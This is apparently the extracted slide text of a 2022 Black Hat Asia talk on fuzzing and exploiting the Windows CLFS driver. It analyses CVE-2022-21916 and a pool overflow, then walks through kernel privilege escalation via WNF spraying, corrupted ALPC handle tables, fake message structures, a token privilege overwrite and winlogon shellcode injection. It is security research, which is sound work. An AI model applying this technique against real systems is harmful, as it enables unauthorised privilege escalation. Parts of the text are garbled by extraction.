

MAY 12-13

BRIEFINGS

blackhat Asia 2022

The Next Generation of Windows Exploitation: Attacking the Common Log File System

ShiJie Xu(@ThunderJ17), Jianyang Song(@SecBoxer) and Linshuang Li 360 Vulnerability Research Institute



About us

- Security researchers from 360 Vulnerability Research Institute.
 - ShiJie Xu(@ThunderJ17)
 - Jianyang Song(@SecBoxer)
 - Linshuang Li
- We are vulnerability researchers currently focused on the Windows platform.



Agenda

- Introduction of Common Log File System(CLFS)
- How to Fuzz CLFS
- Vulnerability Analysis
- Vulnerability Exploitation
- Summary



About Common Log File System

- The Common Log File System (CLFS) is a new logging mechanism introduced by Windows Vista, which is responsible for providing a highperformance, universal log file subsystem that dedicated client applications can use and multiple clients can share to optimize log access.
- Any user-mode application that needs logging or recovery support can use CLFS.



Use Common Log File System

- Create Log File
 - CreateLogFile: Creates or opens a log(.blf). The log can be dedicated or multiplexed, and that depends on the log name. Use the CloseHandle function to close the log. (log :<LogName>[::<LogStreamName>])
- Use Log File
 - API Provided by MSDN
 - DeviceIoControl Reverse clfs.sys



Related Research of CLFS

- CLFS Internals Alex Ionescu
- DeathNote of Microsoft Windows Kernel Keen Lab
- Microsoft Windows 10 CLFS.sys ValidateRegionBlocks privilege escalation vulnerability - Cisco Talos





Attack Surface

- Log file parsing vulnerability in clfs.sys
- Error handling of IoCode vulnerability in clfs.sys



BLF Format

Control Record

Control Record Shadow

Base Log Record

Base Log Record Shadow

Truncate Record

Truncate Record Shadow

+0x0000 CLFS LOG BLOCK HEADER +0x0070 CLFS CONTROL RECORD

+0x0400 CLFS LOG BLOCK HEADER +0x0470 CLFS CONTROL RECORD

+0x0800 CLFS LOG BLOCK HEADER +0x0870 CLFS BASE RECORD HEADER

+0x8200 CLFS LOG BLOCK HEADER +0x8270 CLFS BASE RECORD HEADER

+0xFC00 CLFS LOG BLOCK HEADER +0xFC70 CLFS_TRUNCATE_RECORD_HEADER

+0xFE00 CLFS LOG BLOCK HEADER +0xFE70 CLFS_TRUNCATE_RECORD_HEADER



How to Fuzz

- Create Log File
- Random Log File Data
- Parse Log File Data in clfs.sys (DeviceIoControl | API)



Create Log File

- Dedicated Log File (Log:c:\myLog)
 - Set Container
 - No Container
- Multiplexed Log File (Log:c:\myCommonLog::Stream1)
 - Set Container
 - No Container



Random Log File Data

• Every time to random the Log file, need to bypass the CRC check

```
_int64 ___fastcall CCrc32::ComputeCrc32(BYTE* Ptr, int Size)
{
unsigned int Crc;
for (int i = 0; i < Size; i++)
 {
  data = Ptr[i];
  Crc = (Crc >> 8) ^ CCrc32::m_rgCrcTable[(unsigned __int8)Crc ^ data];
 }
return ~Crc;
```



Random Log File Data

• Focus on some Get* or Acquire* function

CClfsBaseFile::GetBaseLogRecord CClfsBaseFile::GetControlRecord
CClfcBasaEilawGatControlBasard
CCIISBASEFILEGELCOILLOIRECOLU
CClfsBaseFile::AcquireMetadataBlock
CClfsBaseFilePersisted::AcquireTruncateContext
CClfsBaseFilePersisted::AcquireTruncateContext
CClfsBaseFile::AcquireClientContext
CClfsBaseFile::AcquireContainerContext
CClfsLogFcbPhysical::AcquireClientSharedSecurityContex





Parse Log File in clfs.sys

Several types of functions from <u>MSDN</u>

- Log Storage
- Record Chains
- Reservations
- Log Archive and Restore



- CVE-2022-21916
 - eExtendState is at the +0x84 offset of the file
 - iExtendBlock is at the +0x88 offset of the file
 - iFlushBlock is at the +0x8A offset of the file

	Q	1	2	3	4	Ş	6	7	Ŗ	9	ą	þ	ç	þ	ę	f		
000000000h:	15	00	01	00	02	00	02	00	00	00	00	00	17	62	B0	02	;	b?
00000010h:	01	00	00	00	00	00	00	00	00	00	00	00	FF	FF	FF	FF	;	
00000020h:	00	00	00	00	FF	FF	FF	FF	70	00	00	00	00	00	00	00	;	p
00000030h:	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00	;	
00000040h:	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00	;	
00000050h:	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00	;	
00000060h:	00	00	00	00	00	00	00	00	F8	03	00	00	00	00	00	00	;	?
00000070h:	01	00	00	00	00	00	00	00	1C	5F	00	00	F5	C1	F5	C1	;	
00000080h:	01	00	00	00	02	00	00	00	04	00	03	00	00	00	00	00	;	
00000090h:	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00	;	





• CVE-2022-21916

```
CClfsBaseFilePersisted::ShiftMetadataBlockDescriptor(this,UINT iFlushBlock,UINT iExtendBlock) {
    // ...
    NewTotalSize = -1;
    TotalSize = iExtendBlock * this->SectorSize;
    if ( TotalSize > 0xFFFFFFF )
        return STATUS_INTEGER_OVERFLOW;
    TotalSectorSize = this->BaseMetaBlock[iFlushBlock].TotalSectorSize; // OOB read
    if ( TotalSize = TotalSize >= TotalSectorSize )
        NewTotalSize = TotalSectorSize + TotalSize;
    Status = TotalSectorSize + TotalSize < TotalSectorSize ? STATUS_INTEGER_OVERFLOW : 0;
    this->BaseMetaBlock[iFlushBlock].TotalSectorSize;
    return Status;
}
```



Vulnerability for TianfuCup

```
CClfsLogFcbPhysical::OverflowReferral(CClfsLogFcbPhysical *this, struct _CLFS_LOG_BLOCK_HEADER * LogBlockHeader)
ł
 // NewOwnerPage is a Paged Pool of size 0x1000
 NewOwnerPage = &LogBlockHeader->MajorVersion + LogBlockHeader->RecordOffsets[2];
 OldOwnerPage = \&this -> OwnerPage -> MajorVersion + this -> OwnerPage -> RecordOffsets[2];
 \frac{ClientId}{ClientId} = CClfsBaseFile::HighWaterMarkClientId(this->CClfsBaseFilePersisted); // BaseLogRecord->cNextClient - 1
  = 0;
                                                                                       00008370h:
 do
                                                                                       00008380h:
                                                                                       00008390h:
  i = i + +;
                                                                                       000083a0h:
  i * = 2i64;
                                                                                       000083b0h:
  *(CLFS LSN *)&NewOwnerPage[8 * i] = CLFS LSN INVALID; // OOB Write
                                                                                       000083c0h:
  *( QWORD *)&NewOwnerPage[8 * i + 8] = *( QWORD *)&OldOwnerPage[8 * i + 8];
 }
 while (i \le ClientId); // Overflow occurs when ClientId is greater than 0x60
```

00	00	00	00	00	00	00	
		00					
90	00	00	00	ff	00	00	
90	00	00	00	00	00	00	
88	14	00	00	00	00	00	
90	00	00	00	00	00	00	



- Vulnerability for TianfuCup
 - This is a pool overflow vulnerability with the paged pool size of 0x1000, which writes CLFS_LSN_INVALID(0xFFFFFFF00000000) and OldOwnerPage data to the head of the next pool.



Windows Paged Pool Overflow Exploitation

- The Windows Notification Facility
 - Corrupt the StateData pointer of the WNF NAME INSTANCE structure
 - Restricted arbitrary address read and write
- Named Pipes
 - Corrupt the Flink pointer of the PipeAttribute structure
 - Arbitrary address read



The limitations of Windows Notification Facility

- The size of _WNF_NAME_INSTANCE is 0xC0 or 0xD0.
- Overflows the AllocatedSize field, which can reach an out-of-bounds write in the maximum range of 0x1000 size.

nt!_WNF_STATE_DATA
+0x000 Header : _WNF_NODE_HEADER
+0x004 AllocatedSize : Uint4B
+0x008 DataSize : Uint4B
+0x00c ChangeStamp : Uint4B



A New Way For Windows Paged Pool Overflow Exploitation

- ALPC
 - Corrupt the Handles pointer of the _ALPC_HANDLE_TABLE structure
 - Arbitrary address read and write





ALPC_HANDLE_TABLE

• A Reserve Blob can be created by calling the NtAlpcCreateResourceReserve function. Whenever a Blob is created, the AlpcAddHandleTableEntry function will be called to write the address of the created blob to the Handles of the HandleTable.

nt!_ALPC_HANDL	E_TABLE
+0x000 Handles	: Ptr64 _ALPC_HANDLE_ENTRY
+0x008 Lock	: _EX_PUSH_LOCK
+0x010 TotalHan	dles : Uint8B
+0x018 Flags	: Uint4B



the Handles structure

- When the alpc port is created, the AlpcInitializeHandleTable function is called to initialize the HandleTable.
- Handles is a paged pool with an initial size of 0x80, which stores the address of the blob structure.
- As more blobs are created, the size of Handles doubles.
- The size of Handles is variable, the size can be 0x80, 0x100, 0x200, 0x400, etc.



Arbitrary address read and write

• By overflow corrupting the _KALPC_RESERVE pointer of the Handles structure, we can construct a fake Reserve Blob.

nt!_KALPC_RESERVE
+0x000 OwnerPort : Ptr64 _ALPC_PORT
+0x008 HandleTable : Ptr64 _ALPC_HANDLE_TABLE
+0x010 Handle : Ptr64 Void
+0x018 Message : Ptr64 _KALPC_MESSAGE
+0x020 Size : Uint8B
+0x028 Active : Int4B




Arbitrary address read and write

- The _KALPC_RESERVE structure stores the address of the Message, so we can continue to construct a fake _KALPC_MESSAGE structure.
- When you call the NtAlpcSendWaitReceivePort function to send a message, it will write the data passed in by the user to the address pointed to by the ExtensionBuffer in the _KALPC_MESSAGE structure. We can use it to achieve arbitrary address writing.
- When you call the NtAlpcSendWaitReceivePort function to receive a message, it will read the data at the address pointed to by the ExtensionBuffer in the _KALPC_MESSAGE structure. We can use it to achieve arbitrary address reading.
- Advantages: The size of Handles in the _ALPC_HANDLE_TABLE structure is variable.



Arbitrary address read and write





Spray WNF struct

• Call NtUpdateWnfStateData to spray a lot of _WNF_STATE_DATA of size 0x1000

	WNF							
--	-----	-----	-----	-----	-----	-----	-----	-----





Create a lot of holes


• Call NtDeleteWnfStateName to create a lot of holes.

WNFWNFWNF



Create ownerpage

 Call CreateLogFile to open the log file, during the process it will call OverflowReferral to overflow WNF struct.



Before:

0: kd> dq ffffce80	d63f8000	
ffffce80`d63f8000		00000001`00000ff0
ffffce80`d63f8010	41414141`41414141	
ffffce80`d63f8020	41414141`41414141	41414141`41414141
ffffce80`d63f8030	41414141`41414141	41414141`41414141
ffffce80`d63f8040	41414141`41414141	41414141`41414141
ffffce80`d63f8050	41414141`41414141	41414141`41414141
ffffce80`d63f8060	41414141`41414141	41414141`41414141
ffffce80`d63f8070	41414141`41414141	41414141`41414141


After:

1: kd> dq ffffce80	d63f8000	
ffffce80`d63f8000	ffffffff [°] 0000000	00000001`00000ff0
ffffce80`d63f8010	41414141`41414141	41414141`41414141
ffffce80`d63f8020	41414141`41414141	4141411`41414141
ffffce80`d63f8030	41414141`41414141	41414141`41414141
ffffce80`d63f8040	41414141`41414141	4141411`41414141
ffffce80`d63f8050	41414141`41414141	4141411`41414141
ffffce80`d63f8060	41414141`41414141	
ffffce80`d63f8070	4141411`41414141	41414141`41414141



Create the handles

- Call NtAlpcCreatePort to create a lot of ALPC Ports and listen to them.
- Call NtAlpcCreateResourceReserve to create a lot of 0x1000 Handles.



1: kd> !pool ffffce80`c3e4f000 Pool page ffffce80c3e4f000 region is Paged pool *ffffce80c3e4f000 : large page allocation, tag is AlHa, size is 0x1000 bytes Pooltag AlHa : ALPC port handle table, Binary : nt!alpc


handles struct:

0: kd> dq ffffce80	c3e4f000	
ffffce80`c3e4f000	ffffce80`d390cc40	ffffce80`d390ccb0
ffffce80`c3e4f010	ffffce80`d390cd20	ffffce80`d390cd90
ffffce80`c3e4f020	ffffce80`d390dab0	ffffce80`d390e060
ffffce80`c3e4f030	ffffce80`d390dea0	ffffce80`d390dd50
ffffce80`c3e4f040	ffffce80`d390d9d0	ffffce80`d390e300
ffffce80`c3e4f050	ffffce80`d390db20	ffffce80`d390e530
ffffce80`c3e4f060	ffffce80`d390dc70	ffffce80`d390e140
ffffce80`c3e4f070	ffffce80`d390db90	ffffce80`d390de30



Overflow Handles via WNF

 Calling NtUpdateWnfStateData will overflow Handles, because the AllocatedSize of wnf has been modified to 0xffffffff in the previous step and the maximum write limit of WNF is 0x1000 bytes, so we can only modify the first 16 bytes of Handles at most. In this case we only overflow 8 bytes.



Before:

0: kd> dq ffffce80	c3e4f000
ffffce80`c3e4f000	ffffce80`
ffffce80`c3e4f010	ffffce80`
ffffce80`c3e4f020	ffffce80`
ffffce80`c3e4f030	ffffce80`
ffffce80`c3e4f040	ffffce80`
ffffce80`c3e4f050	ffffce80`
ffffce80`c3e4f060	ffffce80`
ffffce80`c3e4f070	ffffce80`

After:

c3e4f000
00000282
ffffce80`

99055970 ffffce80`d390ccb0 d390cd20 ffffce80`d390cd90 d390dab0 ffffce80`d390e060 d390dea0 ffffce80`d390dd50 d390d9d0 ffffce80`d390e300 d390db20 ffffce80`d390e530 d390dc70 ffffce80`d390e140 d390db90 ffffce80`d390de30

d390cc40 ffffce80`d390ccb0 d390cd20 ffffce80`d390cd90 d390dab0 ffffce80`d390e060 d390dea0 ffffce80`d390dd50 d390d9d0 ffffce80`d390e300 d390db20 ffffce80`d390e530 d390dc70 ffffce80`d390e140 d390db90 ffffce80`d390de30



Fake _KALPC_RESERVE

• 0x282`99055970 is fake _KALPC_RESERVE structure, which is a user mode address.

AlpcpLookupMessage()+0x220:



1: kd> dt	_KALPC_RESERVE	0000	0028
nt!_KALPC_	_RESERVE		
+0x000	OwnerPort	:	(nu
+0x008	HandleTable	:	(nu
+0x010	Handle	:	(nu
+0x018	<u>Message</u>	:	0x0
+0x020	Size	:	0
+0x028	Active	:	0n1

82`99055970 ull) ull) ull) 00000282`98fc84d0 _KALPC_MESSAGE 1

`99055970	ffffce80`d390ccb0
`d390cd20	ffffce80`d390cd90
`d390dab0	ffffce80`d390e060
`d390dea0	ffffce80`d390dd50
`d390d9d0	ffffce80`d390e300
`d390db20	ffffce80`d390e530
`d390dc70	ffffce80`d390e140
`d390db90	ffffce80`d390de30



Fake _KALPC_RESERVE

• 0x282`99055970 + 0x18 is fake _KALPC_MESSAGE structure.

AlpcpLookupMessage()+0x220:

<pre>CommunicationInfo = a1->CommunicationInfo; if (!CommunicationInfo) return 3221226224i64; fake_reserve = (_KALPC_RESERVE *)AlpcReferenceBlobByHandle(</pre>	1: kd> dq ffffce80`c3e4f000 ffffce80`c3e4f000 00000282`99055970 ffffce80`d390ccb0 ffffce80`c3e4f010 ffffce80`d390cd20 ffffce80`d390cd90
<pre>value_reserve; if (!fake reserve)</pre>	<pre>ffffce80`c3e4f020 ffffce80`d390dab0 ffffce80`d390e060 ffffce80`c3e4f030 ffffce80`d390dea0 ffffce80`d390dd50 ffffce80`c3e4f040 ffffce80`d390d9d0 ffffce80`d390e300 ffffce80`c3e4f050 ffffce80`d390db20 ffffce80`d390e530</pre>
<pre>return 3221226224i64; fake_message = fake_reserve->Message; AlpcpLockForCachedReferenceBlob((ULONG_PTR)fake_message);</pre>	ffffce80`c3e4f060 ffffce80`d390dc70 ffffce80`d390e140 ffffce80`c3e4f070 ffffce80`d390db90 ffffce80`d390de30

+0x020 Size +0x028 Active

: 0n1

1: kd> dt _KALPC_RESERVE	00000282`99055970
nt!_KALPC_RESERVE	
+0x000 OwnerPort	: (null)
+0x008 HandleTable	: (null)
+0x010 Handle	: (null)
+0x018 <u>Message</u>	: 0x00000282`98fc84d0 _KALPC_MESSAGE
+0x020 Size	: 0
10x020 Activo	· On1



Fake _KALPC_RESERVE

- Call NtQuerySystemInformation to leak the token address.
- Write the token address to FAKE _KALPC_MESSAGE + 0xe0.

1: kd> dt	_KALPC_MESSAGE 0x	00	0000282`98fc84d0
nt!_KALPC	_MESSAGE		
+0x000	<u>Entry</u>	:	_LIST_ENTRY [0x00000000`000000 (null)
+0x010	PortQueue	:	(null)
+0x018	<u>OwnerPort</u>	:	<pre>0xffffbc8d`de6f5a80 _ALPC_PORT</pre>
+0x020	WaitingThread	:	(null)
+0x028	<u>u1</u>	:	<anonymous-tag></anonymous-tag>
+0x02c	SequenceNo	:	0n1
+0x030	<u>QuotaProcess</u>	:	0x00000282`98fc54e0 _EPROCESS
+0x030	QuotaBlock	:	0x00000282`98fc54e0 Void
+0x038	CancelSequencePor	t	: (null)
+0x040	CancelQueuePort	:	(null)
+0x048	CancelSequenceNo	:	0n0
+0x050	<u>CancelListEntry</u>	:	_LIST_ENTRY [0x00000000`000000
+0x060	<u>Reserve</u>	:	0x00000282`98fc54e0 _KALPC_RESE
+0x068	<u>MessageAttributes</u>	:	<pre>_KALPC_MESSAGE_ATTRIBUTES</pre>
+0x0b0	DataUserVa	:	0x00000282`98fb5b08 Void
+0x0b8	<u>CommunicationInfo</u>	:	: 0xffffce80`d25066d0 _ALPC_COMM
+0x0c0	<u>ConnectionPort</u>	:	<pre>0xffffbc8d`dde32940 _ALPC_PORT</pre>
+0x0c8	ServerThread	:	(null)
+0x0d0	WakeReference	:	(null)
+0x0d8	WakeReference2	:	(null)
+0x0e0	ExtensionBuffer	:	0xffffce80`c0ef16f0 Void
+0x0e8	ExtensionBufferSi	ze	e : 0x28
+0x0f0	<u>PortMessage</u>	:	_PORT_MESSAGE

#BHASIA @BlackHatEvents

COMMUNICATION_INFO

0000000 - 0x00000000 0000000 C RESERVE

CESS

PORT

0000000 - 0x00000000`0000000



Arbitrary address write

- Call NtAlpcSendWaitReceivePort to trigger arbitrary address write.
- Overwrite the Privileges of token + 0x40 into 16 bytes of 0xff.

AlpcpCaptureMessageDataSafe()+16:

```
if ( inputbuffer )
{
    memmove(&message[1], inputbuffer, BufferSize);
    memmove(message->ExtensionBuffer, &inputbuffer[BufferSize], DataLength - BufferSize);
}
```

Before:

1: kd> dq ffffce80	c0ef16f0
ffffce80`c0ef16f0	00000006`02
ffffce80`c0ef1700	00000000`40
ffffce80`c0ef1710	00000000`00
ffffce80`c0ef1720	46010000`00
ffffce80`c0ef1730	000001e0`00
ffffce80`c0ef1740	31343444`00
ffffce80`c0ef1750	00000000`00
ffffce80`c0ef1760	ffffce80`c0

After:

1: kd> dq ffffce80	c0ef16f0	
ffffce80`c0ef16f0	fffffff [*] fffffff	fffffffffffffffffffffffffffffffffffff
ffffce80`c0ef1700	00000000`40800000	00000000`00000000
ffffce80`c0ef1710	00000000`00000000	00000000`00000000
ffffce80`c0ef1720	46010000`0000000	0000000f`00000001
ffffce80`c0ef1730	000001e0`00000000	00000000`00001000
ffffce80`c0ef1740	31343444`00000000	ffffce80`c0ef1b40
ffffce80`c0ef1750	00000000`00000000	ffffce80`c0e09940
ffffce80`c0ef1760	ffffce80`c0e09940	ffffce80`c0e0995c

880000 00000000`00800000 800000 00000000`0000000000
0000000 00000000 0000000
000000 000000f`0000001
000000 00000000`00001000
000000 ffffce80`c0ef1b40
000000 ffffce80`c0e09940
0e09940 ffffce80`c0e0995c



Elevation of Privilege

- Open procexp.exe to view the permissions of the process, and find that the SeDebugPrivilege permission has been obtained, and Flags is Enable.
- With the SeDebugPrivilege privilege, we can inject Shellcode into the winlogon.exe process to achieve elevation of privilege.

Image	Per	rformance	2	Performan	ce Grap	h
Thread	s	TCP/IP		Security	E	Ēr
S	User: SID: Session Virtualiz	S-1-5-2 : 1	21-3 Lo	0VM58ED\jiany 098559272-20 gon Session: otected:	070910	15
	BUIL CONS DESK Ever LOCA Mand NT A NT A NT A NT A NT A	TIN\AC TIN\U: OLE LC TOP-D' yone L latory UTHOR! UTHOR! UTHOR! UTHOR! UTHOR!	ser DGO 7M5 La ITY ITY ITY ITY ITY		um Ma icate FIVE ssion thent ganiz	i I ia
F	Prix SeCr SeCr SeCr SeDe SeDe	eateSy eateTo <mark>bugPri</mark> legate	mb ke vi Se	anentPriv olicLinkF nPrivileg lege ssionUser	Privi ge cImpe	l r
	<	901011		⁰ 91100Pr1		σ

	_		×
Disk and vironment	Network Job	GPU Gra Strin	
3354424299-1	1000		
datory Le Users d_0_15212 cation tion 员组成员	Mand Mand Mand vel Inte Mand Mand 7 Mand Mand Mand	atory atory atory atory grity atory atory atory atory atory atory	
ege sonatePri	E) E) E) vilege E)	lags nabled nabled nabled nabled nabled nabled Permissio	~
	<u>O</u> K	<u>C</u> ano	cel



Demo video

			N		
			63		
Serie 2007.02207 BUD Ho					
Sprint 2007 2007 <td></td> <td></td> <td></td> <td></td> <td></td>					
Serie 2007.02207 BUD Ho					
Serie 2007.02207 BUD Ho					
Starie					
Siniii 2001/2002 Bi VIII-2002 VIII-2002 VIII-2002 VIII-2002 VIII-2002 Ai Ai Ai Ai VIII-2002 XIII-2002 XIIII-2002 XIIII-2002					
Starie					
Serie 2007.02207 BUD Ho					
Serie 2007.02207 BUD Ho					
Serie 2007.02207 BUD Ho					
Serie 2007.02207 BUD Ho					
No Ro Ro <td< th=""><th></th><th></th><th></th><th></th><th></th></td<>					
207 H0 R0 H1 CM H175(M) M4 CB/M H175(M) M4 CB/M CB		no sets se			
All Scattering Postboarder 558 LEELIG SVETAN 00 606 K Area All Scattering Postboarder 508 LEELIG SVETAN 00 61.44 K Area All Scattering Postboarder 7.03 LEELIG SVETAN 00 41.44 K Area Bill Scattering Postboarder 7.03 LEELIG SVETAN 00 41.44 K Area Bill Scattering Postboarder 7.04 LEELIG SVETAN 00 4.04 K Area Bill Scattering Postboarder 7.04 LEELIG SVETAN 00 4.04 K Area Bill Scattering Postboarder 7.04 LEELIG SVETAN 00 4.04 K Area Bill Scattering Postboarder 7.74 LEELIG SVETAN 00 4.04 K Area Bill Scattering Postboarder 7.74 LEELIG SVETAN 00 2.00 K Area Bill Scattering Postboarder 7.08 LEELIG SVETAN 00 2.00 K Area Bill Scattering Postboarder 7.00 LEELIG SVETAN 00 2.00 K Area					
公式の本市が市地市の市場 762 正田田中 601 1.444 7621 (1) Tarent/HindelCarvin 100 正田田中 607 0 1.444 7692 (1) Tarent/HindelCarvin 100 正田田中 607 0 1.044 日本市 (1) Tarent/HindelCarvin 100 正田田中 607 0 1.044 日本市 (1) Tarent/HindelCarvin 100 正田田中 607 0 1.044 日本市 (1) Tarent/HindelCarvin 704 日田田市 607 507 FM 0 2.00 日本市 (1) Tarent/HindelCarvin 704 日田田市 607 507 FM 0 2.00 日本市 (1) Tarent/HindelCarvin 704 日田田市 607 607 607 日 (1) Tarent/HindelCarvin 607 日田田市 607 607 1.444 7804 604 (1) Tarent/HindelCarvin 607 日田田市 607 607 1.444 7804 7804 (1) Tarent/HindelCarvin 607 日田田市 607 1.444 7804 7804 7804 7804 (1) Tar					
(1) (2) <t< td=""><td>Biserrithdenerane 3008</td><td></td><td>6,640 K 不均定</td><td></td><td></td></t<>	Biserrithdenerane 3008		6,640 K 不均定		
 ○ AutorabyLassing (1) (2) 正正正(1) ○ TarabyLassing (2) (2) 正正正(1) ○ YAPA (2) (2) (2) (2) (2) (2) (2) (2) (2) (2)					
日日の時代の本部の 746 日田田府 915日前 00 4,044 × 不均4 日日の時代の本部の 754 日田田府 0 4,044 × 不均4 日日の時代の本部の 754 日田田府 0 0,0 × 日期間 日日の時代の本部 754 日田田府 0 4,84 × 日期間 日日の時代の本部 754 日田田府 0 4,84 × 日期間 日日の時代の本部 754 日田田府 0 4,84 × 日期間 日日の時代の本部 654 日田田府 0 4,84 × 日期間 日日の時代の本部 654 日田田府 0 4,84 × 日期間 日日の時代の本部 654 日田田府 0 4,84 × 日期間 日日の時代本部 852 日田田府 0 4,84 × 日期間 日日の時代本部 856 日田田府 0 4,84 × 日期間 日日の時代本部 104 日田田府 0 4,84 × 日期間 日日の時代本部 104 日田田府 104 × 7,94 × 日日の時代本部 104 日田			1,004 < 二基用		
日本の時代になる。 日本の時代に、	Elservices.exe 716				
11 11	Elsgimitrokerime 7544		2200 K 不能件		
国际 Matrix Create And Dec 世 定部 ア いう 4.85 K 世 報用 日本 Matrix Create And Dec 世 記書 ア いう 4.85 K 世 報用 日本 Matrix Create And Dec 世 記書 ア いう 4.85 K 世 報用 日本 Matrix Create And Dec 世 記書 ア いう 4.85 K 世 電用 日本 Matrix Create And Dec 世 記書 R いう 4.85 K 世 電用 日本 Matrix Create And Dec 世 記書 R いう 4.85 K 世 電用 日本 Matrix Create And Dec 世 記書 R いう 4.85 K 世 電用 日本 Matrix Create And Dec 世 R N Create And Dec T			4.730× 包熱用		
1871 George Constantian 1119 (日本語語) (日本語語) (日本語) (日本) (日本) (日本) (日本) (日本) (日本) (日本) (日本					
1111-0-1040-0-10-10-111-0-112-0-111-0-11-0-	Finitane 332		248 K 不允许		
11910-00-00-00-00 119 (日本語が) 21910-00 (2000 の代表) 11910-00-00-00 128 日本語が 102-00 (2000 不会) 11910-00-00-00 (日本語が) 102-00 (2000 不会) 11910-00-00 (日本語が) 102-00 (2000 不会)	TistartMenuEsperien 6206	TERES Hany	14,344 x 日間用		
11910-00-00-00-00 119 (日本語が) 21910-00 (2000 の代表) 11910-00-00-00 128 日本語が 102-00 (2000 不会) 11910-00-00-00 (日本語が) 102-00 (2000 不会) 11910-00-00 (日本語が) 102-00 (2000 不会)			7.436 % 不完計		
1111-0-1040-0-10-10-111-0-112-0-111-0-11-0-			1322 5 不加許		
1111-0-1040-0-10-10-111-0-112-0-111-0-11-0-	Eischott.ess 1096		008 K 35201F		
第1minon.even 1160 正元合行 LOCALSEL 00 1,060 《 本社中 The data Table Control Control Control Table Table Y	(Finchestern 1116)				
The Autor - 1000 TRADE - 1001/21 - 40 - 1212 Tet -	Wisveboxt.exe 1188		1,060 K 不会的		
		100 E C 100 E	A ANNA TANK		
	(3) (論範論是中)		·靖南征称南		

-

o e: 💽 🛤 💼 🕿 🐖





Why is it universal?

- Because these are custom size structures.
- They can match the structure size of 0x30 ~ 0x11000+

0x30 ~ 0x1000 size :

_WNF_STATE_DATA $(0x30 \sim 0x1000)$

_ALPC_HANDLE_TABLE->Handles (0x90、0x110、0x210、0x410、0x810、0x1000...0x10000...)

_KALPC_MESSAGE (0x160 ~ 0x11000)

> 0x1000 size:

_ALPC_HANDLE_TABLE->Handles

KALPC MESSAGE



Why is it universal?

> 0x11000 size:

_ALPC_HANDLE_TABLE->Handles (0x90、 0x110、 0x210、 0x410、 0x810、 0x1000...0x10000...)



Universal exploitation of WNF

- The size of the WNF STATE DATA structure is customizable, the range is 0x30 to 0x1000.
- Overflows the AllocatedSize field, which can reach an out-of-bounds write in the maximum range of 0x1000 size.

nt!_WNF_STATE_DATA : _WNF_NODE_HEADER +0x000 Header +0x004 AllocatedSize : Uint4B +0x008 DataSize : Uint4B +0x00c ChangeStamp : Uint4B



Universal exploitation of Handles


- The calculation rule of size: 0x90, 0x110, 0x210, 0x410, 0x810, • 0x1000...0x10000...
- When the size of the pool is > 0x1000, there is no pool header of size 0x10.
- Overflow Handles and modify the address to our fake KALPC RESERVE user mode address.
- Even if what you overwrite is an invalid value, you can still call VirtualAlloc to map it to a user-mode address.



Universal exploitation of Message

- The size range of _KALPC_MESSAGE is 0x160 to 0x11000.
- Overflow the ExtensionBuffer pointer at +0xe0 of the structure, you can do arbitrary address write.

Fake _KALPC_MESSAGE





Summary

- File parsing vulnerabilities similar to clfs is still a good attack surface to this day.
- Evolving mitigations on windows making exploits harder and harder.



Links and References

- CLFS Internals Alex Ionescu
- DeathNote of Microsoft Windows Kernel Keen Lab
- Microsoft Windows 10 CLFS.sys ValidateRegionBlocks privilege escalation vulnerability - Cisco Talos
- CVE-2021-31956 Exploiting the Windows Kernel (NTFS with WNF) Alex Plaskett



Thanks